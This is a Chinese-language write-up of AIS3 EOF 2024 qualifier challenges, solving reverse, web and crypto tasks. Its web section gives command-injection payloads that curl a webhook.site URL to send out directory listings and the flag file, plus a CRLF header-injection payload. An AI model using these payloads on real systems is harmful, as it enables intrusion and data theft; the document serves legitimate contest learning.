# AIS3 EOF 2024 初賽 writeup {%hackmd M1bgOPoiQbmM0JRHWaYA1g %} > Author:堇姬Naup >Rank : 42 ![image](https://hackmd.io/_uploads/BkK68GOu6.png) # Misc ## Welcome 簽到 DC就有,記得加DC,然後膜拜Itiscaleb ![image](https://hackmd.io/_uploads/Bk0pteO_6.png) # reverse ## Flag Generator 題目會把這坨Block寫進flag.exe(原本看了一陣子,不是很理解她在幹嘛www,後來我突然看懂了那一坨東西我根本不用理解她在幹嘛) ![image](https://hackmd.io/_uploads/S1kKHl_uT.png) ![image](https://hackmd.io/_uploads/ryvmLx__a.png) 直接用`x64gdb`抓參數,看他把甚麼寫進去就行了 把寫了甚麼截下來,然後包回.exe就行了 ![image](https://hackmd.io/_uploads/rkM7dxOO6.png) ## stateful **幸好我都使用工人智慧把式子抓出來** ![image](https://hackmd.io/_uploads/r1BtOIFOp.png) 有`Correct!!!`跟`WRONG!!!`,直接去state_machine()看dest怎麼產生。 你會看到50個state,他會經過一堆運算來一個一個呼叫,所以要先搞清楚他到底怎麼呼叫,可以先把他寫的code抓下來,一一標號run一次看順序。 順序 ``` 15 32 45 24 39 27 1 8 12 22 47 23 28 6 37 29 41 18 30 2 48 36 5 16 7 26 9 31 21 3 13 40 43 42 38 25 20 17 10 34 4 44 35 11 50 49 46 19 14 33 ``` 最後就是工人智慧了,抓下來,反過來做一遍,就可以還原flag了 ```python= k_target=[ 0x21, 0x5A, 0xEC, 0x33, 0x43, 0xBC, 0x14, 0x74, 0x1C, 0x42, 0x65, 0x75, 0x5F, 0xC4, 0x82, 0xA1, 0x3B, 0xEA, 0x6D, 0xB0, 0xFA, 0x34, 0x6C, 0xA0, 0x2B, 0x72, 0x5F, 0xF0, 0x54, 0x40, 0x29, 0x88, 0xA0, 0x65, 0x53, 0x24, 0xE3, 0xE0, 0x74, 0x60, 0x33, 0xEC, 0x7D ] k_target[5]-=k_target[37]+k_target[20]#33 k_target[8]-=k_target[14]+k_target[16]#14 k_target[17]-=k_target[38]+k_target[24]#19 k_target[15]-=k_target[40]+k_target[8]#46 k_target[37]-=k_target[12]+k_target[16]#49 k_target[4]-=k_target[6]+k_target[22]#50 k_target[10]+=k_target[12]+k_target[22]#11 k_target[18]-=k_target[26]+k_target[31]#35 k_target[23]-=k_target[30]+k_target[39]#44 k_target[4]-=k_target[27]+k_target[25]#4 k_target[37]-=k_target[27]+k_target[18]#34 k_target[41]+=k_target[3]+k_target[34]#10 k_target[13]-=k_target[26]+k_target[8]#17 k_target[2]-=k_target[34]+k_target[25]#20 k_target[0]-=k_target[28]+k_target[31]#25 k_target[4]-=k_target[7]+k_target[25]#38 k_target[18]-=k_target[29]+k_target[15]#42 k_target[21]+=k_target[13]+k_target[42]#43 k_target[21]-=k_target[34]+k_target[15]#40 k_target[7]-=k_target[10]+k_target[0]#13 k_target[13]-=k_target[25]+k_target[28]#3 k_target[32]-=k_target[5]+k_target[25]#21 k_target[31]-=k_target[1]+k_target[16]#31 k_target[1]-=k_target[16]+k_target[40]#9 k_target[30]+=k_target[13]+k_target[2]#26 k_target[1]-=k_target[15]+k_target[6]#7 k_target[7]-=k_target[21]+k_target[0]#16 k_target[24]-=k_target[20]+k_target[5]#5 k_target[36]-=k_target[11]+k_target[15]#36 k_target[0]-=k_target[33]+k_target[16]#48 k_target[19]-=k_target[10]+k_target[16]#2 k_target[1]+=k_target[29]+k_target[13]#30 k_target[30]+=k_target[33]+k_target[8]#18 k_target[15]-=k_target[22]+k_target[10]#41 k_target[20]-=k_target[19]+k_target[24]#29 k_target[27]-=k_target[18]+k_target[20]#37 k_target[39]+=k_target[25]+k_target[38]#6 k_target[23]-=k_target[7]+k_target[34]#28 k_target[37]+=k_target[29]+k_target[3]#23 k_target[5]-=k_target[40]+k_target[4]#47 k_target[17]-=k_target[0]+k_target[7]#22 k_target[9]-=k_target[11]+k_target[3]#12 k_target[31]-=k_target[34]+k_target[16]#8 k_target[16]-=k_target[25]+k_target[11]#1 k_target[14]+=k_target[32]+k_target[6]#27 k_target[6]-=k_target[10]+k_target[41]#39 k_target[2]-=k_target[11]+k_target[8]#24 k_target[0]+=k_target[18]+k_target[31]#45 k_target[9]+=k_target[2]+k_target[22]#32 k_target[14]-=k_target[35]+k_target[8]#15 for i in k_target: print(chr(i%128)) ``` 人工智慧成功還原FLAG,~~建議這題改叫人工智慧&工人智慧~~ ![image](https://hackmd.io/_uploads/HygHgDYuT.png) # Web ## DNS Lookup Tool: Final 題目源代碼 ```python= <?php isset($_GET['source']) and die(show_source(__FILE__, true)); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DNS Lookup Tool | Final</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css"> </head> <body> <section class="section"> <div class="container"> <div class="column is-6 is-offset-3 has-text-centered"> <div class="box"> <h1 class="title">DNS Lookup Tool 🔍 | Final Edition</h1> <form method="POST"> <div class="field"> <div class="control"> <input class="input" type="text" name="name" placeholder="example.com" id="hostname" value="<?= $_POST['name'] ?? '' ?>"> </div> </div> <button class="button is-block is-info is-fullwidth"> Lookup! </button> </form> <br> <?php if (isset($_POST['name'])) : ?> <section class="has-text-left"> <p>Lookup result:</p> <b> <?php $blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?']; $is_input_safe = true; foreach ($blacklist as $bad_word) if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false; if ($is_input_safe) { $retcode = 0; $output = []; exec("host {$_POST['name']}", $output, $retcode); if ($retcode === 0) { echo "Host {$_POST['name']} is valid!\n"; } else { echo "Host {$_POST['name']} is invalid!\n"; } } else echo "HACKER!!!"; ?> </b> </section> <?php endif; ?> <hr> <a href="/?source">Source Code</a> </div> </div> </div> </section> </body> </html> ``` 他過濾掉了 ``` ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'] ``` 而且看到這個推知可以`command injection` ```PYTHON= exec("host {$_POST['name']}", $output, $retcode); ``` 我找到一個叫做`$()`可以執行command 所以我構造了payload ``` $(curl https://webhook.site/33c6a830-fd48-4997-a9e3-6f9f7f82877d -X POST -d "$(ls /)") ``` 用webhook來收根目錄底下有啥 最後直接cat flag(flag被過濾直接用`'`就可以了) ``` $(curl https://webhook.site/33c6a830-fd48-4997-a9e3-6f9f7f82877d -X POST -d "$(cat /f'l'ag_uPa6TE7GaQ4m9RiV)") ``` ![image](https://hackmd.io/_uploads/SyDitMO_T.png) ## Internal 這題有夠好玩! server ```python= from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs import re, os if os.path.exists("/flag"): with open("/flag") as f: FLAG = f.read().strip() else: FLAG = os.environ.get("FLAG", "flag{this_is_a_fake_flag}") URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?") class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/flag": self.send_response(200) self.end_headers() self.wfile.write(FLAG.encode()) return query = parse_qs(urlparse(self.path).query) redir = None if "redir" in query: redir = query["redir"][0] if not URL_REGEX.match(redir): redir = None self.send_response(302 if redir else 200) if redir: self.send_header("Location", redir) self.end_headers() self.wfile.write(b"Hello world!") if __name__ == "__main__": server = ThreadingHTTPServer(("", 7777), RequestHandler) server.allow_reuse_address = True print("Starting server, use <Ctrl-C> to stop") server.serve_forever() ``` nginx conf ```nginx= server { listen 7778; listen [::]:7778; server_name localhost; location /flag { internal; proxy_pass http://web:7777; } location / { proxy_pass http://web:7777; } } ``` 一個http server 假如你直接訪問/flag,會因為nginx設定`internal`,報404,所以只能透過nginx內部來訪問,假如可以用nginx內部來訪問,那他會用`http://web:7777` 來代理訪問 怎麼用內部訪問可以參考 https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/ `X-Accel-Redirect` 如果在你訪問的response header就會透過nginx內部來重新導向,所以就直接用`%0d%0a`來塞進response header 最後構造出 ``` redir=https://www.pixiv.net/%0d%0aX-Accel-Redirect:/flag ``` ![image](https://hackmd.io/_uploads/HkA79zOd6.png) # Crypto ## Baby AES server ```python= from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from secret import FLAG from os import urandom from base64 import b64encode, b64decode def XOR (a, b): return l2b(b2l(a) ^ b2l(b)).rjust(len(a), b"\x00") def counter_add(iv): return l2b(b2l(iv) + 1).rjust(16, b"\x00") # These modes of Block Cipher are just like Stream Cipher. Do you know them? AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt def AES_CFB (iv, pt): ct = b"" for i in range(0, len(pt), 16): _ct = XOR(AES_enc(iv), pt[i : i + 16]) iv = _ct ct += _ct return ct def AES_OFB (iv, pt): ct = b"" for i in range(0, len(pt), 16): iv = AES_enc(iv) ct += XOR(iv, pt[i : i + 16]) return ct def AES_CTR (iv, pt): ct = b"" for i in range(0, len(pt), 16): ct += XOR(AES_enc(iv), pt[i : i + 16]) iv = counter_add(iv) return ct if __name__ == "__main__": counter = urandom(16) c1 = urandom(32) c2 = urandom(32) c3 = XOR(XOR(c1, c2), FLAG) print( f"c1_CFB: ({b64encode(counter)}, {b64encode(AES_CFB(counter, c1))})" ) counter = counter_add(counter) print( f"c2_OFB: ({b64encode(counter)}, {b64encode(AES_OFB(counter, c2))})" ) counter = counter_add(counter) print( f"c3_CTR: ({b64encode(counter)}, {b64encode(AES_CTR(counter, c3))})" ) for _ in range(5): try: counter = counter_add(counter) mode = input("What operation mode do you want for encryption? ") pt = b64decode(input("What message do you want to encrypt (in base64)? ")) pt = pt.ljust( ((len(pt) - 1) // 16 + 1) * 16, b"\x00") if mode == "CFB": print( b64encode(counter), b64encode(AES_CFB(counter, pt)) ) elif mode == "OFB": print( b64encode(counter), b64encode(AES_OFB(counter, pt)) ) elif mode == "CTR": print( b64encode(counter), b64encode(AES_CTR(counter, pt)) ) else: print("Sorry, I don't understand.") except: print("??") exit() ``` 這題有給你三個counter跟三個密文(CFB、OFB、CTR) 另外他給你可以任意去選擇你要做甚麼加密的東東(可以做五次),有點小複雜,原本我想說把所有可能性算一遍就好,後來還是認真算了一下 觀察一下 ![image](https://hackmd.io/_uploads/HycbeQuda.png) ![image](https://hackmd.io/_uploads/HkGwl7u_a.png) $C_1$ 缺 $Counter1+E(Counter1)加密前十六byte$ ![image](https://hackmd.io/_uploads/SyKMemuu6.png) ![image](https://hackmd.io/_uploads/S1CDgQ__a.png) $C_2$ 缺 $E(Counter2)+E(E(Counter2))$ ![image](https://hackmd.io/_uploads/ByXXxQ_d6.png) ![image](https://hackmd.io/_uploads/H18KlXd_p.png) $C_3$ 缺 $E(Counter3)+E(Counter4)$ 用CTR+CBF的bit-flipping attack來解就可以了 第一步 丟`CTR`,b'\x00' > 得到 $E(Counter4)$ 第二步 丟`CFB`,$E(Counter5)$^$Counter2$+b'\x00'*32 >拿到 $E(Counter2)+E(E(Counter2))$ 第三步 丟`CFB`,$E(Counter6)$^$Counter3$+b'\x00'*16 >拿到 $E(Counter3)$ 第四步 丟`CFB`,$E(Counter7)$^$Counter1$+b'\x00'*16 >拿到 $Counter1+E(Counter1)$ 第五步 丟`CFB`,$E(Counter8)$^$C_1$+b'\x00'*16 >拿到 $C_0$加密前前16bytes + $E(C_0加密後前16bytes$) 最後解開$C_1、C_2、C_3$後xor一下,就直接拿flag ![image](https://hackmd.io/_uploads/Hyuft7dO6.png) ## Baby RSA server ```python= #! /usr/bin/python3 from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime import os from secret import FLAG def encrypt(m, e, n): enc = pow(bytes_to_long(m), e, n) return enc def decrypt(c, d, n): dec = pow(c, d, n) return long_to_bytes(dec) if __name__ == "__main__": while True: p = getPrime(1024) q = getPrime(1024) n = p * q phi = (p - 1) * (q - 1) e = 3 if phi % e != 0 : d = pow(e, -1, phi) break print(f"{n=}, {e=}") print("FLAG: ", encrypt(FLAG, e, n)) for _ in range(3): try: c = int(input("Any message for me?")) m = decrypt(c, d, n) print("How beautiful the message is, it makes me want to destroy it .w.") new_m = long_to_bytes(bytes_to_long(m) ^ bytes_to_long(os.urandom(8))) print( "New Message: ", encrypt(new_m, e, n) ) except: print("?") exit() ``` 卡超久最後發現最後面送xor的根本就不需要 只要nc三次,你就會拿到三組$N$跟$C$,直接broadcast attack就可以了。 ```python= import gmpy2 import functools from Crypto.Util.number import * n0 = 10316315391553788469709948412791562463550596565615204164472972828099047950466813471143123986387365552342464271223023912248958605360272806398489442699786035093131693425532908104988200983778017858899719310301977961318893899216204831413015071126853305937175728922384523755777884362986838660554142140985611028098623233945390065502775165076262456721814605345316368384014749733529954620844119698021412205275709942887117760239889162600139993280126075831930328374647895996386757243132554965639982927004139988915151257934124281151881038518021848561390957287189408904677710721251714203178765186521705675905481676056830206261401 c0 = 7242315589701399080632698908254893771759923699911402371763042741586223809370111267219090033964747871701813531651150281778542108095450097193676365854238186752689769050514594441496948700025645487384065474297370311910784350554887106493778688050692577520540314293316178760087647028075487940589385949830360252965224306608756971707136237680442221158524631878531527672335465880482536158754913129939391995454596086523445870801149618772334122890653872989749644100894513635143919617002349065060533221323933428579177619355912765462446254812310419694654140542243422604511204522320220097147029715126657356591161079939493282600471 n1 =14435449071988696459208381153497320330794550181340228167041842431418045105445237130722967745591980889913586122448164168696571327645230906439628612004758034493688294356523460824338678223234742730815718736876627387317708692550712047353745942134251580687692862942620039264232657194372937310771847896571205404339434216935504833648243279346271487186746795503198091313362543185792278843333795728136979569867389389257918917622528494178844537329893319068117693479912007846769972170430048141279162802430140636137549989418136937277812828775927883901708864647560240806626307848633826325838219039562144357872293976730314104104381 c1 = 2967452224156416166688229982982271853884662786831016540899450614788580313608527251590088294609966622439693845762390441186794075803176948874516911273812965612571759072430137977862062188482091031459374233406317696642200389677358871335797089423928662020661164693420306761296313564160782421166944941189045121826600925623949513636874004739753219124972089303870366863372759152839554397917022701297331947295101862591321148869825679334602387008604263704477253590048626464067353839698702272443725279919647284492529202007860254365279068016346975840505695590242575768559024525282279389057012544170327419580192168533481380196724 n2 = 14502031403044258642872388132630860484235689280447307939362645277356315793262094193765451740096583857519321045745560190040141172481282811548549927241200302800234605140723632737502299229538796521737697963834760133997453746060181285554331241561373088643630363010826263926300785580487794076965939790123370496028800897791243536000678241870885991913894951661171144343977051699314512196304641005136231209787783149256345828948599442683780117732139507918027733674876937855084004540880691600293780143509285690802356679648590851520438969678019678852837688238570252804447380129580081921055804464191039869020864032879496063338743 c2 = 12723035120523468133588008745804775998334959339477050906522329821448953047522680390230825266470958496391335553271465658836595551358612918501508241421451846454227354889175048179216246473783436052435576608824788609123754288594701748571564181175563863309794168503050763928297179931636055760563927000841255731653930727003108608743588138454970503810757334553757438627578305235453408631752702637995545634862917398529651989633362873056449286938030447035324480700836431263938165942018517926616024121287618718680458463407237190313971701048951553614509475271241789859042540362126822746114119985054446634125327663292126896470326 def crt(a, m): prod, total = functools.reduce(lambda x, y: x * y, m), 0 for ai, mi in zip(a, m): Mi = prod // mi total += ai * Mi * (gmpy2.gcdext(Mi, mi)[1] % mi) return total % prod c = crt([c0, c1, c2], [n0, n1, n2]) m, _ = gmpy2.iroot(c, 3) print(long_to_bytes(m)) ``` ![image](https://hackmd.io/_uploads/rJkHjzOup.png) 不過聽說好像是出爛了,原本不是要broadcast attack。 ## Baby ECDLP server ```python= from sage.all import * from Crypto.Util.number import * from secret import p, q, flag assert isPrime(p) and isPrime(q) n = p * q a, b = matrix(ZZ, [[p, 1], [q, 1]]).solve_right( vector([p**2 - p**3, q**2 - q**3]) ) E = EllipticCurve(Zmod(n), [a, b]) G = E(p, p) + E(q, q) C = bytes_to_long(flag) * G print(f"{a = }") print(f"{b = }") print(f"C =", C.xy()) ``` 壓線解出來 首先就是算p、q,直接用 sage 解那個三次方程式,不過要取的是那兩個正根,因為p、q是質數,一定是正的。 ```python= from sage.all import * x, y = var('x y') a = -1049512290645561483277399447040672259507710914145558231422452159145941450861058912834056552784840698307176425328594627265181382568207073595223799102540059103656850409121714215271402071402990265653829990643814289333297114436290307127182601793045470624406368512814269833830187545236393724608995894644699923989 b = 330613225413866308562655832653992432640737790102976283577689980446254238304479688134993945656361409867735093176372274589048066502491030816811279723518019832240148759433890104257541015694288688653084062998961288644429744942281764740765767448933787468732728303440425139427370295303413074746846731173227818565326124721081874768870022303341674817123171380954318218908360567200188035652004143989131725183710453256926775457844063169319469 eq4 = x**2 - x**3 - a*x == b eq5 = y**2 - y**3 - a*y == b solution = solve([eq4, eq5], x, y, solution_dict=True) positive_roots = filter(lambda sol: sol[x] > 0 and sol[y] > 0, solution) x_val = positive_roots[0][x] y_val = positive_roots[0][y] print("x =", x_val) print("y =", y_val) ``` 這樣就可以解出p、q了 然後開始解決 他建立了 $y^2 \equiv x^3+ax+b \pmod n$ 並建立在橢圓曲線上選擇了兩個點$(p,p)$和 $(q,q)$,然後進行了點加法。 並且這題跟這個很像可以參考。 https://github.com/diogoaj/ctf-writeups/blob/master/2017/picoctf/cryptography/ECC2-200/README.md ```python= C = bytes_to_long(flag) * G ``` 可以算出G,接下來就是個ECDLP問題,這題可以先在mod p底下做ECDLP,之後在mod q底下做ECDLP,最後CRT組起來。 ```python= discrete_log(Cp, Gp, operation='+') discrete_log(Cq, Gq, operation='+') ``` 最後算出來的拿去轉回bytes就行了 ``` 57366797191231613035327741961845991344248661489459273665787893494679511245498164076089068791122584458195315239399543984814150684970509045350166875864014581887869 ``` ![image](https://hackmd.io/_uploads/rJenYs9Oa.png) 壓線17分鐘搞出來 ## 感想 這次EOF超快樂的,打得比我預計的還要好很多,原本以為大概在70幾名左右www。 單人賽真的硬呀,第一天因為感冒所以只解出了web第一題,之後狀態好了陸陸續續就開始想出來。 第二天,解出了一題web跟crypto,nginx那題我只能說,超級酷,感恩orange的blog。 最後一天狀態蠻好的,把很多題目都想出來,狀態機是真的繁瑣,~~不過因為我是工人智慧,所以算的出來~~。另外是那個RSA,被詐欺了兩天,根本不用下面的xor運算www。 最後能算出ECC超讚的,壓線算出來,原本差一點點,最後17分鐘壓線解出來,直接衝到42。(前兩天一直在邊緣徘徊真的很緊張,壓力頗大) - 不過copypasta那題真的差一點點啊QQ,如果能看出format string可以塞東西,就可以直接偽造session+Union injection解出500分++ - 然後我要抱怨web跟reverse打出來的題貶值好快,名次一直掉www - 這次的比賽讓我覺得我真的有進步,尤其是web跟crypto,一個解出兩題+差點解出第三題,以及解出三題。 - 決賽加油,希望可以打進前幾 最後放張解出來的全圖 ![image](https://hackmd.io/_uploads/H1AG1n9Oa.png)